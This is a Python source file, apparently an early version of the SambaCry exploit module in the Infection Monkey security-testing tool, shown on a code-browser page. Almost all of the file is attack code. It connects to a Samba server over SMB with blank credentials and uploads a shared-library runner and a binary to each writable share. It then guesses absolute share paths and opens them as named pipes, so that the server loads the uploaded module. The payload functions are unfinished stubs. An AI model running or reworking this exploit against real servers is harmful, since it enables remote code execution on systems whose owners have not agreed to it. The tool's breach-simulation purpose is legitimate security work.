monkey/chaos_monkey/exploit/sambacry.py

230 lines
9.3 KiB
Python
Raw Normal View History

from optparse import OptionParser
from impacket.dcerpc.v5 import transport
from os import path
from impacket.smbconnection import SMBConnection
from impacket.smb import SessionError
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
__author__ = 'itay.mizeretz'
# TODO: add documentation
# TODO: add author
# TODO: add logs
# TODO: add exception handling
# TODO: remove /home/user
# TODO: take all from config
FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user']
RUNNER_FILENAME = "monkey_runner.so"
COMMANDLINE_FILENAME = "monkey_commandline.txt"
MONKEY_FILENAME = "monkey"
def main():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target")
(options, args) = parser.parse_args()
if options.target:
exploiter = SambaCryExploiter()
exploiter.exploit(options.target)
else:
parser.print_help()
# TODO: inherit from HostExploiter
class SambaCryExploiter:
_target_os_type = ['linux']
def __init__(self):
self.module_binary = ""
def exploit(self, ip):
self.assert_smb_version()
writable_shares = []
credentials_list = self.get_credentials_list()
for credentials in credentials_list:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
for share in shares:
if self.upload_module(smb_client, share):
writable_shares.append(share)
self.trigger_module(smb_client, share)
# TODO: delete remains
smb_client.logoff()
def get_credentials_list(self):
# TODO: get credentials from config
return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
shares.remove("IPC$")
return shares
def assert_smb_version(self):
# TODO: implement
pass
def upload_module(self, smb_client, share):
try:
tree_id = smb_client.connectTree(share)
smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline)
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin)
smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin)
smb_client.disconnectTree(tree_id)
return True
except SessionError as e:
if str(e).find('STATUS_ACCESS_DENIED') >= 0:
return False
raise
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share_name):
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share_name)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
return trigger_might_succeeded
def trigger_module_by_path(self, smb_client, module_path):
"""
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
:return: False on unexpected exception. True otherwise
"""
try:
# the extra / on the beginning is required for the vulnerability
self.openPipe(smb_client, "/" + module_path)
except SessionError as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
return False
return True
def generate_module_possible_paths(self, share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS)
@staticmethod
def get_monkey_bin():
# TODO
pass
@staticmethod
def get_monkey_runner_bin():
# TODO
pass
@staticmethod
def get_monkey_commandline():
# TODO
pass
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
packet['TreeID'] = treeId
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create['SecurityFlags'] = 0
smb2Create['RequestedOplockLevel'] = oplockLevel
smb2Create['ImpersonationLevel'] = impersonationLevel
smb2Create['DesiredAccess'] = desiredAccess
smb2Create['FileAttributes'] = fileAttributes
smb2Create['ShareAccess'] = shareMode
smb2Create['CreateDisposition'] = creationDisposition
smb2Create['CreateOptions'] = creationOptions
smb2Create['NameLength'] = len(fileName) * 2
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
smb2Create['Buffer'] = '\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
smb2Create['CreateContextsLength'] = len(createContexts)
else:
smb2Create['CreateContextsOffset'] = 0
smb2Create['CreateContextsLength'] = 0
packet['Data'] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans['Data'])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse['FileID'])
def openPipe(self, smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
# TODO: uncomment
#logging.info('Final path to load is %s' % pathName)
#logging.info('Triggering bug now, cross your fingers')
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength'] = len(pathName)
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
ntCreate['Parameters']['FileAttributes'] = 0
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
ntCreate['Parameters']['SecurityFlags'] = 0
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
if __name__=="__main__":
main()